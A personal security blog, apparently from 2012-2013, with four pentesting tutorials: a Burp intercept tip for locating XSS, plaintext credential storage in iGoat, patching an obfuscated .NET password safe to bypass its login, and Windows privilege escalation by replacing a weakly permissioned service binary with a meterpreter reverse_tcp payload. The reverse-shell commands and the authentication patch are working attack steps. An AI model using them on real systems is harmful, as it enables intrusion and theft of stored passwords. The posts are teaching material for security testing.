Burp suite tutorial / tip: using intercept to locate automated scanner findings

February 23rd, 2013

So the problem I have in my job and maybe others do as well is that when assessing a web application for vulnerabilities you want to throw automated tools at it first to get the low hanging fruit. So you get the results back and you have some good findings but you’re not exactly sure where that finding resides inside the application. Meaning first click here, then here, then here, and modify parameter X. It’s not crucial to know this because with burp or any decent web proxy we can replay that request to retrieve and prove the vulnerable results but when dealing with laymen and even developers you have to hand hold them through the exploitation process via the browser as much as possible hence the need to know where in the application the vulnerability exists.

In big applications simply knowing a what GET or POST request is vulnerable may not tell you where the vulnerability lies. Let’s say the scanner reports back that http://example.com/xskw/requestID?=blah is vulnerable, well this is a generic URL without much context so it’s not obvious where you would have to browse to stumble upon that request. It’s even worse for POST requests because going directly to the URL without the parameters can produce errors within the application.

Let’s walk through an example of using the burp intercept feature to find where scanner results are located. I’ll be using an intentionally vulnerable web application named Peruggia found within the owaspbwa project which is a great project to learn web app testing. So I ran the active scan against peruggia and got the following results.

I’m going to focus on the highlighted cross site scripting vulnerability in the screen shot above. I picked this request for a number of reasons but first let’s take a look the details of the request below.

Here we see it’s a POST request and I wanted to focus on a POST request because some of the challenges faced with these requests. In the top third tab we see the response was redirected which means we’ll get a 302 status code. If you were to copy and paste the URL into the browser and make that request you’ll be redirected to the home page. This is the nature of POST requests we can’t just put the URL into the address bar and be take to that location. Because of this it can be hard to determine where in the application the vulnerability exists. Especially for XSS (cross site scripting) vulnerabilities I like to obtain screen shots of the alert box to prove to the customer that I was able to exploit the vulnerability. With a GET request this is easier but POST requests add a level of difficulty.

Let’s walk through an example to understand the challenges. I’ll be starting out on the about page of the Peruggia application. Next I’ll paste the URL from the XSS finding into the address bar.

After I enter this request I get redirected to the home page.

This is also reflected in burp where we see the 302 redirect status code that sends us back to the home page.

So the challenge is to find that “comment” parameter that burp flagged as vulnerable but without a simple GET request this can be difficult. I didn’t pick the greatest example because the “comment” parameter shouldn’t be that hard to find in this application because it’s fairly small and the parameter is actually providing some context, adding a comment, which doesn’t always happen. So for this example let’s ignore the big comment box on the home page and pretend we didn’t see that.

We’ll now set up a rule inside the proxy intercept to alert us when we stumble across the vulnerable “comment” parameter. Let me explain the term stumble for a second. When I get a result back from a scanner and I’m not sure where it’s located inside the application I’ll typically start walking the application and monitor my proxy history to see if that parameter was passed within a request. This can be a pain in the butt so setting up a proxy intercept rule can help automate the process. The rule is somewhat counter intuitive because we’ll leave the intercept on the entire time and let it catch when it sees our parameter. In this case we’ll disable the default file extension match rule and add our new rule to look for the parameter in question. Below is the rule I setup to catch the vulnerable parameter “comment”.

Now the next thing is to start browsing / walking the application and the proxy intercept will automatically alert you when you come across the vulnerable parameter. So while walking the application I decide to post a comment on a picture to ensure I’m touching every functionality of the application. My intercept is on with my new rule waiting for it to flag the vulnerable parameter.

After I make this request my proxy starts blinking and alerting me to the fact that I’ve come across the “comment” parameter.

Unfortunately for large applications it may take some time before you stumble upon the proper vulnerable parameter but hopefully this will help you out when trying to pinpoint the location of automated findings. Of course once we’ve found the vulnerable parameter that the automated scanner has found we’ll want to capture a screenshot of the exploit and this case we’ll need to document that we’re abe to execute javascript inside the application. So now I’ll capture that POST request again and insert the classic javascript alert message.

And now the alert message proving to the application owner’s, developer’s, and customer’s that executing javascript is possible.

XSS FTW. Hopefully my little small tip will help you when trying to hunt down where in the application an automated finding resides. Happy bug hunting.

Security testing iPhone – local data storage

October 13th, 2012

One of the areas you need to focus on when performing security / penetration testing on iOS applications is what information is written to disk or stored locally. There are a number of things that can be written to disk (text files, config files, plist files, databases, etc). There are a handful of directories that an application typically uses to store local data within an iOS device which you’ll need to keep in mind when combing through the local file system. I’ll cover these directories and walk through an iOS application security assessment.

The application we’ll walk through is iGoat, an intentional vulnerable application written for the iPhone / iOS devices. The iGoat application can be ran inside the iOS Simulator which is free to use assuming you have an Apple OSX device. I’m not going to walk through setting up the iGoat application within the simulator, please check online resources for getting iGoat up and running. Once up and running go to “Data Protection (Rest)” > “Local Data Storage” and start the exercise. You’ll notice the exercise describes that it’s using an underlying SQLite database to store information, keep in mind you won’t normally know this information. Initially when performing a security test on an iOS application you won’t know if data is being stored locally, it could be it’s storing all information server side. If it does store data locally it can be in a number of locations and in different formats such as a SQLite database. Once you start the iGoat data storage exercise you should come to the following screen.

At this point just put in some fake username and password, I’ll choose username “super” and password “secret”. After you click “Login” nothing will happen, this isn’t meant to be a full blown application. So the application took input from the user but what happened to that information? The iOS simulator is no substitution for an iOS device but the behavior of the application remains the same, meaning if you’re testing an application in the simulator on your Macbook then if the application stores local data then that data will be stored in some location on your Macbook. The application data is typically stored in the following location on your OS X device.

/Users/travis/Library/Application Support/iPhone Simulator/5.1/Applications/UID

Where UID is a unique identifier for the application installed and of course you’ll substitute my name with your username in the “Users” directory. My UID in this case is “8813AE1B-3FC7-4503-99D0-666E974A74D7”. If you open up Finder in OS X and try to navigate to the Library directory you won’t see it that’s because it’s hidden, you can enable the viewing of hidden files and folders but I’ll be navigating via the Terminal which is in the Utilities folder under applications. Once in the UID directory perform a “ls -lh” command to see the files and directories the application is utilizing.

mac:8813AE1B-3FC7-4503-99D0-666E974A74D7 travis$ ls -lh
total 0
drwxr-xr-x   4 travis  staff   136B Sep 27 19:08 Documents
drwxr-xr-x   5 travis  staff   170B Jul 11 09:50 Library
drwxr-xr-x  28 travis  staff   952B Sep 25 21:44 iGoat.app
drwxr-xr-x   2 travis  staff    68B Jul 10 21:37 tmp

Here we see four directories (Documents, Library, iGoat.app, and tmp), we know they’re directories because each line begins with a “d”, if it wasn’t a directory you would just see a “-” dash. These are the four main directories you’ll have for each application and you’ll replace iGoat.app with whatever application you’re testing (e.g. AppName.app). When it comes to looking for items of interest when security testing one should focus on these four directories, listed below is a chart showing the type of information that can be found in those directories.

The contents and location are not set in stone but these locations are the best place to start. So now you know the location of where files may be stored locally on an iOS device but what’s the best way to discover the files we’re interested in? Let’s use what we know in this case, the application tells us that it stores login information into a SQL lite database. Normally you’re not going to know that the application uses a SQL lite database to store information unless you’re in close communication with the developers of the application. For now we know the app uses a SQL lite database so let’s search through these directories looking for that file. We could do this manually but I think dropping to a command prompt is always best. Use the “find” command to locate any SQL lite databases, the command is below.

mac:8813AE1B-3FC7-4503-99D0-666E974A74D7 travis$ find . -name *.sqlite
./Documents/credentials.sqlite
./iGoat.app/articles.sqlite
mac:8813AE1B-3FC7-4503-99D0-666E974A74D7 travis$

From the output of the find command we’ve located two SQL lite databases for this application, credentials.sqlite and articles.sqlite. Credentials.sqlite is the obvious place to start. There are multiple ways to view that sqlite file but the two I prefer are the sqlite database browser and the command line utility sqlite3. I’ll be sticking with the sqlite3 command to give you a different perspective as the sqlite database browser is GUI based and easier to use. One thing to note with GUI tool is that it can’t browse hidden directories so you’ll have to copy and paste sqlite database from the “hidden” Documents directory into a directory that the GUI tool can navigate tool. Next open the sqlite database with the command below.

travis@mac:Documents$ sqlite3 credentials.sqlite
SQLite version 3.7.14 2012-09-03 15:42:36
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite>

You’ll be presented with a sqlite prompt. Next issue the “.tables” command into the sqlite prompt.

sqlite> .tables
creds

Here we see a “creds” table, to view the contents of that table use the “.dump” command.

sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE creds (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, passwordTEXT);
INSERT INTO "creds" VALUES(1,'super','secret');
DELETE FROM sqlite_sequence;
INSERT INTO "sqlite_sequence" VALUES('creds',1);
COMMIT;

Here we see in the first INSERT statement the values of username and password that we typed into the application. So the vulnerability is that credentials to the application are stored in plain text so if someone were to remotely or locally gain access to the iphone then they could glean these credentials. It’s always best if possible to store credentials server side and if you must store credentials locally then encrypt that information. This goes for any sensitive information stored locally (text files, config files, plist files, etc). I could extend this example to those types of files but the same concept applies. So if you’re curios about one of your iOS apps check out those locations and if develop iOS applications make sure you store local sensitive information in an encrypted format.

Feel free to comment with questions or concerns.

Reverse engineer an obfuscated .Net application

June 16th, 2012

Some of the concepts I’ll be covering will be new to some people and may be hard to understand but for others who are familiar with this field will find the concepts simple. Hopefully no matter what your comfort level or experience you’ll get something out of this.

First I’ll give a brief intro to .Net and how it varies from other applications. There two main kinds of applications / programs that you install on your Windows 7 / XP / etc machine, these are either compiled or interpreted. Compiled applications can be a standalone executable but usually you’ll have to install it by clicking the usual “Install, Next, Next, Finish” on the other hand an interpreted application doesn’t require this. An interpreted application comes as an EXE but an interpreted application does require an “application virtual machine”, the interpreted application doesn’t run natively on your machine instead the virtual machine takes care of all the execution. In this case the .Net framework is the application virtual machine we’ll need to have installed. You may have downloaded an EXE in the past and got the message that it requires “.Net framework 3.5” that’s because you downloaded an interpreted application. Java is the very similar to the .Net framework in that it employs a virtual machine as well which explains why almost everyone has to have both Java and .Net installed on their windows machine.

Compiled apps are in assembly machine language and we don’t have source code and going from compiled assembly back to original source code is difficult which is why companies like microsoft and apple only give you compiled applications because they want to make it hard for you to get original source code. With interpreted applications it’s quite different, for the most part it’s easy to decompile interpreted applications back into their original source code. This is true generally because the application virtual machine expects much more information about the application it’s about to compile and execute which makes going in reverse easier as well. I may not have explained that well but hopefully this stackoverflow thread will shed some light.

So by nature of having a .Net application it’s easier to get source code from the compiled exe which makes it easier to reverse engineer. Some developers and most users are not aware how easy it is to get source code from applications that run in a virtual machine. Developers that are aware of this sometime utilize obfuscation techniques so that competitors aren’t easily able to obtain source code. Obfuscation is simply a way of hiding something you don’t want others to know about. Typically it goes “source code –> obfuscation –> hard to understand (garbage)”. This is a simple explanation of obfuscation and some techniques are better than others. There are a handful of obfuscation programs on the market that developers can use to hide their code. In the example I’ll be showing you the developer used an obfuscation technique but this isn’t going to stop us from reversing the program then modifying it to our content.

So the first thing you’ll need to do is determine if the exe you have is actually a .Net application and not some other compiled application. There are a couple of tools but the one I like the most is CFF Explorer. Once installed you can right click on any exe and it’ll try and determine what language and compiler was used to make the executable. Let’s browse to firefox.exe, right click and choose CFF Explorer.

From the output of CFF Explorer we can tell that the language Visual C++ was used to create this executable and that it’s a PE (portable executable) file type. PE’s are normally compiled using one of the C based family languages. This differs from application virtual machine compiled executables such as a .Net application. I’ve created a small .Net application called GuessPassword.exe that we’ll discuss in just a bit but first let’s look at the output from CFF Explorer on GuessPassword.exe.

Here we can confirm that it’s a .Net application. So in both cases we have an EXE that we’re not completely sure what type of executable it is but with CFF Explorer we can easily find out. So step one was identifying that you have a .Net application, step two will be to decompile the EXE. There are numerous tools out there that can decompile .Net applications. One of the more popular but paid tools is Reflector but an awesome free open source tool that I’ll be going over is ILSpy. So grab the GuessPassword.exe here and open it up in ILSpy. Keep in mind you’ll need to either have or install the .Net framework for all of this to work. Below is a screenshot of what GuessPassword.exe looks like in ILSpy.

ILSpy will automatically decompile the application, not all at once put as you go down into the tree of the application. So the screenshot above may not mean much to you if it’s your first time looking through a decompiled .Net application. There are a couple of things to keep in mind. One only focus on items within the tree of the application you are reviewing, in this case GuessPassword.

The items that I’ve marked as ignore are dependencies of GuessPassword.exe that ILSpy pulls in. Secondly you only really need to focus on the “pink bricks” inside of ILSpy. Most of the other components of the tree can be ignored as they’re simply tying up loose ends such as defining text boxes the “real” code lies in the pink bricks.

With this being said go ahead and load GuessPassword.exe into ILSpy and click on the first pink brink named “button1_Click(object, EventArgs): void”, you should see the following.

This is a very simple application and from the code above you can probably guess what happens. The application checks to see if the password entered into the text box is “monkey”, if it is the message “Correct” is presented if it isn’t then the message “Incorrect” will be seen. This is bad practice as you should never hard code passwords into your application but I wanted to show you what it would look like when you’re asking for input from the user. Go ahead and run GuessPassword.exe and give it a shot.

So this was fairly straight forward and you can see how easy it is to decompile, review code, reverse engineer, and determine ways to subvert the logic of the application. Even though this is considered straight forward the same concepts apply on all applications. At this point we could actually modify this compiled application and change the password “monkey” to anything we like or make it so that we don’t even need a password, more on that later.

Now it’s time to take our skills to the street. I randomly pulled down an application from download.com called SafeAsHouses. This application is a password safe that keeps all of your passwords in one place, or at least that’s the plan. Our goal is to reverse engineer this application so that we can subvert the authentication and glean all passwords. You can grab a copy of SafeAsHouses over at download.com but I’ve also saved a copy here in case it gets lost in the internets. If you grab it from download.com then the initial password = password and you can change it from there but my copy in the tools directory has the password of “monkey”. Next let’s throw SafeAsHouses into ILSpy and see what we get.

As you can see from the screenshot SafeAsHouses immediately shows some signs of obfuscation. In a normal situation the pink bricks will contain the name of the class used, in the case of GuessPassword.exe it’s “Form1” but SafeAsHouses is hiding this information. Let’s dig further and compare the decompilation of the first pink brick / class for both GuessPassword and SafeAsHouses, first GuessPassword.

Now SafeAsHouses.

Once again we see signs of obfuscation. Anywhere you see a gray box is a sign of obfuscation and this obfuscation technique is essentially hiding names within the code such as variable names. This won’t stop us but it does make the reversing process a little bit more difficult. So now you’ve successfully decompiled the application and see the signs of obfuscation, at this point you could start digging through code but it’s always to run the application to get a better understanding of what the application is doing.

So soon as you launch the application we see that it’s asking for a password, after typing in the correct password we’ll have access to all of our usernames and passwords. If we enter the incorrect password the application will show a message box saying “Password incorrect”.

So we’re trying to figure out how to get around the whole password authentication, that being said there are several areas we can focus on. The first is the fact that the application asks for input before allowing us full access into the application. The second is that the application will close if the input is incorrect. What strings can be seen during this process? Another thing to consider is the fact that the application presents you with one window for authentication then shows you a second window where your passwords are stored.  For each consideration you should ask yourself what would the code look like in a .Net application.

In the case of input it’s more than likely form input. In my simple GuessPassword.exe the code that takes is “this.textBox1.Text” where I provided the name textBox1 which is actually the default variable name give inside of Visual Studio. So in the application you’re trying to reverse you would need to look for a similar construct, this can be done manually or you can search through the decompiled code. Keep in mind when searching or viewing manually an obfuscated application you probably won’t see something similar to “this.Variable.Text”, at the very least an obfuscation tool will mangle “Variable” so keeping your eyes open for “this.something.Text” maybe your next best step.

So the application closes when an incorrect password is typed in, what does the code look like to close an application in .Net? For the most part the application will be closed with an Application.Exit or Environment.Exit so when you go to reverse the application those are the constructs you’ll need to keep in mind for when you search or manually review the decompiled code.

I mentioned “strings” earlier, one thing we notice when the application closes is “Password incorrect” and the title of the window is “ACCESS DENIED”. These strings have to be somewhere in the source code, they might be obfuscated but it’s definitely a good idea to search for them within the source code. If they aren’t in the source code then what other constructs generate these messages? If you decompile my GuessPassword.exe you’ll notice that my incorrect password message is “Incorrect” and that the title of the window is “Incorrect” but these are generated by MessageBox.Show so if the obfuscation tool hides the phrase “Incorrect” it may not hide the function “MessageBox.Show” so it’s just another thing to consider when trying to reverse a .Net application.

Last but not least is the fact that the application goes from one small window that takes your password to a second window that has all your passwords, how does the application do this and what does the code look like when this is performed in a .Net application? This can be handled in a number of different ways. Probably the most popular method is using the “window.Show” and “window.Hide” functions. Another option is using form opacity, form opacity is typically used to make a window more transparent but you could make the window completely transparent with this option as well. So when searching through code it’s a good idea to keep both of these functions in mind.

Now that I’ve laid out some things to consider now it’s time to put this to practice. For each consideration I’ve laid out you can manually look through the decompiled code for these constructs but ideally we’ll want to search for these constructs. At the time of this writing I’ve found a couple of ways to accomplish this. One is to decompile all the code of the application into a text file then search that text file with your favorite text editor. For this I prefer ILSpy to decompile into one text file then I can search inside that text file for any construct I like. First select the program you want to save into a file.

Next choose File > Save Code

Then save to a “single file”, you can save to a project but for searching through code I prefer one flat file.

Now that you have that single file you can open up your favorite text editor and search for any construct or item of interest. Go ahead and search for MessageBox.Show and see what hits you get.

So we see present a message box but these message boxes are all throughout the application so it’s hard to say that this is the functionality we’re looking for. Another thing to note is that the obfuscation is hiding what the message is with large negative numbers. Having all the code in one text file is helpful but it doesn’t put much context around what we’re trying to go after. Most developers don’t code inside one giant text file they usually develop inside an IDE such as Visual Studio which breaks up the code to help with contextual understanding. That being said whenever I’m looking at an application that can be decompiled I always save that decompiled code into text files so that I can search it at anytime for items of interest, IDE’s are nice but plain text rules.

Another great option to search for constructs is using the plugin CodeSearch for the .Net Reflector tool. What’s great about this tool is that if you’re already working inside Reflector or if Reflector is your favorite tool for assessing .Net applications then you have everything in one place. Let’s do the same messagebox.show search inside of the CodeSearch plugin. One thing you’ll need to keep in mind with the CodeSearch plugin is that it will only search through what you’ve clicked on in the left hand column. So if you want to search the entire tree of SafeAsHouses you’ll need to make sure you’re on the root of that application. Below you’ll see that Reflector tags SafeAsHouses as PasswordSafe, so first I clicked on PasswordSafe then performed my search in CodeSearch.

The nice thing about CodeSearch is that it will break down the results into the path were the results can be found. CodeSearch is case sensitive so that’s another thing you’ll need to keep in mind when performing searches. As you can see from the screenshot above we have quite a number of hits from “MessageBox.Show” this is probably because it’s a popular function to use in .Net applications. You can click through each result and it will take you to the location of where it found your search term, from there you’ll have to determine if that location has the functionality you’re looking for. Usually it’s best to search for all the relative constructs to get the best idea of where the functionality you’re looking for resides. For example you should also search for “this.*.Text” looking for form input, “Environment.Exit” when the application closes, “Opacity” “*.Hide” for hiding windows / forms, and “*.Show” for showing windows, etc. So it’s a good idea to search for all these terms as it relates to SafeAsHouses to find the code that actually does the authentication piece. In this case the search term “Opacity” does a really good job of narrowing down the location of the code we’re interested in.

So looking at the decompiled code in the top right column it appears that this is the authentication functionality we’ve been looking for in the SafeAsHouses application. Congratulations we found the functionality we’ve been searching for. It may not seem that obvious but let’s take a closer look, I prefer to use ILSpy in this case because it does a better job of showing the original code.

On line six the developer is assigning the variable to whatever you type into the password field, he’s then comparing that to the obfuscated value we see on line seven. If the password is correct you then enter the if statement, this is crucial you have to enter the if statement in order for the application to open / show you the passwords. I don’t completely understand the role of the opacity code but the code “base.Hide();” on line 17 hides the password window and the code “SO.Show” (where SO is the obfuscation) will show you the second window which contains all your passwords. Line 22 is the pop up message that tells you that your password is incorrect and line 23 closes the application because you entered the wrong password. So after looking at all the functionality in this section we can determine that this is definitely the section we need to focus on. Now we need to figure out how we can modify the code to bypass the authentication. The idea here is that someone has downloaded this application to their machine and use this application to store all their super secret passwords, what we want is to do is figure out all their passwords by modifying / patching the application. With a .Net application it’s fairly easy to modify to get your desired goal. There are a couple of tools that will allow us to modify a .Net application, GrayWolf and the Reflector plugin Reflexil. Both are great tools and must haves in your .Net reversing toolbox but for this demonstration I’ll stick to reflexil. I’m not going to discuss installing reflexil so please refer to the documentation on how to get that setup. Once the plugin is installed simply go to Tools > Reflexil inside of Reflector, you should see something similar to the screen shot below.

So the upper half of this screen shot is the authentication code we’ve identified for the SafeAsHouses application and the bottom half is reflexil. What reflexil shows you is the CIL (common intermediate language) often called IL for short. You can read through the wiki article that I’ve linked to but basically it’s the lower level language used by the .Net virtual machine. For example, you write your code in C Sharp, that code then gets converted to CIL. The CIL is ran through the virtual machine which got installed when you installed the .Net framework on your computer. It’s not important that you understand all the inner workings of the .Net framework all you really need to know is that if we want to modify a .Net application then having a general knowledge of CIL will come in handy. I wouldn’t try to completely understand CIL out of the box because it shouldn’t be too difficult to follow the CIL instructions and map them to the decompiled code. For instance we can compare lines 01, 02, 03 in the CIL to the decompiled code and piece together that System.Window.Forms.TextBox plus the other instructions are getting input from the user via a text box inside a windows form. This is also consistent with how the application behaves.

The next step is to use reflexil to modify the CIL then save those modifications. What we want to do is eliminate the need to provide a valid password, this can be accomplished a number of ways. You’ll notice in the CIL on line 07 there is a CIL instruction, “op_Equality”, that compares the user supplied password to the actual password associated with the application. You’ll notice on line 08 the OpCode instruction is “brfalse“, this essentially means that if the passwords don’t match (false) then go into that if clause which will pop up a message and the application will exit. You’ll also notice the operand for the brfalse opcode is “-> (36)”, this means branch to target on line 36 which jumps into the message box functionality. To get around providing the correct password we can simply change the condition from false to true that way if we provide the incorrect password it will open the application to whereas providing the correct password will cause the application to close. To change the CIL right click on brfalse and select edit.

Now change the opcode from brfalse to brtrue then click update.

Once you’ve modified the CIL instruction you’ll need to save your changes. To do this right click on the root of your application, then go to reflexil, then save as.

I typically stick with the *.Patched naming that way I don’t modify the original executable. After you’ve saved SaveAsHouses.Patched go ahead and double click on the application. It should work out that if you supply the incorrect password you’ll be authenticated but if you supply the correct password the application will close.

Congratulations, that’s it you’ve successfully reversed an obfuscated .Net application and modified the executable to subvert authentication. At this point you’ve accomplished your mission but you could have gone another route. Instead of changing the brfalse to brtrue we could have deleted all those instructions that way it doesn’t even check for the password. The code block below shows what can be deleted to achieve this functionality.

In order to delete this code within the application we’ll need to delete lines 1-28 within reflexil, you can do the usual select line one then while holding shift select line 28. After that right click and select delete then save the changes. Open your patched version of SafeAsHouses and type whatever you like into the password field, this can be the correct password or not it doesn’t matter. Congratulations you’ve accomplished another method to subvert functionality of a standalone .Net application. Just to prove we’ve removed that functionality of the application open up the patched version of SafeAsHouses in either Reflector or ILSpy, below is my screenshot that shows the removed code.

So there you have it, hopefully this explanation was helpful. I’ve been kind of hiding a secret Relfexil has an option called “Obfuscator search” which will automatically try and deobfuscate code. This tool actually works really well and it will deobfuscate SafeAsHouses for you automatically. Even though Reflexil can remove obfuscation on some applications it can’t do them all and even it could the concepts that I’ve covered still apply. So even if you have a deobfuscated application you’ll still need to identify certain constructs within the code to find the functionality you’re looking for.

I’m not here to bash on .Net it’s actually a great platform to quickly stand up applications but people need to be aware that it’s not incredibly difficult to reverse the application, tear it apart, and inject / subvert functionality. That’s all I got, if you see where I’ve made a mistake or left out some important information please let me know. Happy .Net hunting.

windows privilege escalation via weak service permissions

March 24th, 2012

When performing security testing on a Windows environment, or any environment for that matter, one of the things you’ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles with varying privileges, for the most part on a local windows environment there going to be three roles / privileged users.

1. System
2. Administrator
3. Regular user

Most people would think administrator has the highest privilege but actually it’s the system account. A regular user is typically the most limited role which may be so limited that it can’t even install software. In the previous paragraph I mentioned “local windows environment” that’s because when it comes to a network or active directory environment you have to take other things into consideration. The scenario I’ll be going over involves a single install of a windows operating system.

So let’s say you’re performing  a security test on a system / environment where all you’re given is a low level privileged account but you want to try and escalate those privileges so that you can get “system” level privileges, what do you do? There are a number of routes you can take. Scott Sutherland has written a nice article on windows privilege escalation and some of the techniques that you can try. Also the guys over at insomniasec.com have put together a nice document as well that talks about windows privilege escalation. Last but certainly not least pentestmonkey has written a python script that will search the system for potential areas of privilege escalation and report back.

Obviously the technique I’m going to be discussing is leveraging windows services that have low or weak permissions. For those that aren’t aware a windows service is a process that is ran in the background and a regular user would never know that this process is running unless they specifically checked for it, meaning there is no “window” or GUI associated with a service. But a service is just like a process in the fact that it’s an executable. You can determine all the services on your machine by using the “wmic” command.

wmic service list brief

Your output should be similar to below, I’ve snipped the output for brevity.

... snip ...

1077      WMPNetworkSvc                   0          Manual     Stopped  OK

1077      WPCSvc                          0          Manual     Stopped  OK

0         WPDBusEnum                      0          Manual     Stopped  OK

0         wscsvc                          752        Auto       Running  OK

0         WSearch                         2140       Auto       Running  OK

0         wuauserv                        856        Auto       Running  OK

First column is the exit code, second column is the name of the service, third column is the process ID (PID) of the service, fourth column states how the service is to be started (start mode), fifth column states if the process is running (state), and the last column gives the status of the service itself. You can also right click on your taskbar, same bar as the start menu, then select task manager. Within the task manager you can select the “services” tab to see this same information, keep in mind there is no services tab within the task manager for XP for this scenario I’m using windows 7.

So now that you know how to determine what services are available and running on a particular machine how can we determine if they have “weak permissions”? By weak permissions I mean the folder where the service EXE is allows “write” access. Having write access allows me to replace that executable with my malicious executable, start the service and voila I’ve got access. That’s it in a nutshell but let’s walk through the steps to quickly determine which services are vulnerable and how to attack that vulnerable weak service permission.

On a windows machine there can be a ton of services, going through each folder where the service executable is located, right clicking and determining the permission can be a pain in the butt. First thing we’ll need to do is run a couple of commands to easily pull all the permissions for all the services.

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

The first command uses wmic to list the services, looks for the full path of the executable, filters out system32 paths, and then dumps that output to a text file. The second command parses that text file getting rid of some junk in the path name then does the icacls command on that path to determine the permissions on that service executable. A snippet of the output you’ll see on the command line is below.

" Users\homer>cmd.exe /c icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe  BUILTIN\IIS_IUSRS:(I)(RX)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
WIN-B5JHUDECH2P\homer:(I)(F)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

For my particular commands I’ve excluded service executables that live in c:\windows\system32 folder because more than likely those folders have the proper permissions because they came packaged with windows. The services I’m more interested in are third party applications because they get installed by a user and either the user improperly configures the folder permissions or during the install the application misconfigures the folder permissions. So this is the main reason why I filter out c:\windows\system32 but if you wanted to include that simply remove the system32 find statement from the command.

The output of the icacls command can be a little confusing but what you want to look for is if “BUILTIN\Users” have full access which will be designated as “(F)”. If you have full access to the folder where the service executable lives then you can replace the service executable with your own malicious service executable. So when the service starts, either at boot automatically or manually, your malicious executable will run hopefully giving you full access to the device. So my snippet of output actually has a  service with weak permissions which can also be seen on line 17 in the output above.

C:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(F)

The “Source Engine” folder is a standard folder for windows 7 and out of the box has the proper permissions, meaning a regular user will not have write access to that folder. For this demonstration I’ve manually modified the permissions of the “Source Engine” folder to highlight the effect of improper permissions. So now that you’ve found a folder of a service that allows the write permission it’s time to insert / upload our malicious executable. The most convenient way I’ve found is using the msfpayload functionality within metasploit. For the uninitiated and overwhelmed folks that try to deal with metasploit and msfpayload it might just be best to use backtrack. Just grab backtrack which comes with everything installed and ready to go. I’m not going to go through all of the steps of getting metasploit up and running but if you have any troubles feel free to email me (travisaltman@gmail.com) or post a question in the comments. In backtrack I issue the following commands to create a malicious executable.

root@bt:~# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:0c:29:11:1e:53
inet addr:192.168.134.135  Bcast:192.168.134.255  Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe11:1e53/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:9227 errors:0 dropped:0 overruns:0 frame:0
TX packets:396 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:650604 (650.6 KB)  TX bytes:123409 (123.4 KB)
Interrupt:19 Base address:0x2024

root@bt:~# cd /pentest/exploits/framework
root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.134.135 lport=80 X > exploit.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.134.135", "lport"=>"80"}
root@bt:/pentest/exploits/framework#

The command on line one is simply trying to determine the IP address of our machine (ifconfig command) and line 3 states that our attacking IP address is 192.168.134.135, we’ll need this information to create our malicious executable. The next command is on line 12 where you change directories (cd) to the location of the msfpayload command. Line 13 is the most important command which is the actual command we use to create our malicious executable. This command creates a meterpreter payload and the lhost and lport are parameters we set when creating the payload. The lhost is from the output of ifconfig and you can specify any port you like, you don’t have to include lport because by default it’s 4444. You don’t need to know details about meterpreter for now think of it as a windows command prompt on steroids. Finally we use the “> exploit.exe” to create the malicious executable in the current directory.

Now you have to get that exploit.exe over to your target windows machine. I’ll leave this up to you but if you run the python simple http server in that current directory then all you have to do on the windows machine is open up internet explorer put in the IP address of your attack machine and download exploit.exe. Next put exploit.exe into the folder with the weak permissions in this case C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE. You should now have something like this.

Next rename the original ose.exe to something different and name exploit.exe to ose.exe

So now we’ve replaced the original executable with our malicious executable next we’ll need to fire up metasploit so that it can accept our connection once we run our new executable. So head over to your Linux box and run the msfconsole command.

root@bt:/pentest/exploits/framework#./msfconsole

You should now have a “msf” console, next run the following commands.

msf > use exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set lhost 192.168.134.135
lhost => 192.168.134.135
msf  exploit(handler) > set lport 80
lport => 80
msf  exploit(handler) >

At this point it’s always a good idea to do the “show options” command to make sure everything is set up correctly.

msf  exploit(handler) > show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description
----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     192.168.134.135  yes       The listen address
LPORT     80               yes       The listen port

Exploit target:

Id  Name
--  ----
0   Wildcard Target

If everything checks out then you’re ready to go, now just type “exploit”. This will wait until we run the executable on the target machine but when we do it will give us back our meterpreter command prompt.

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...

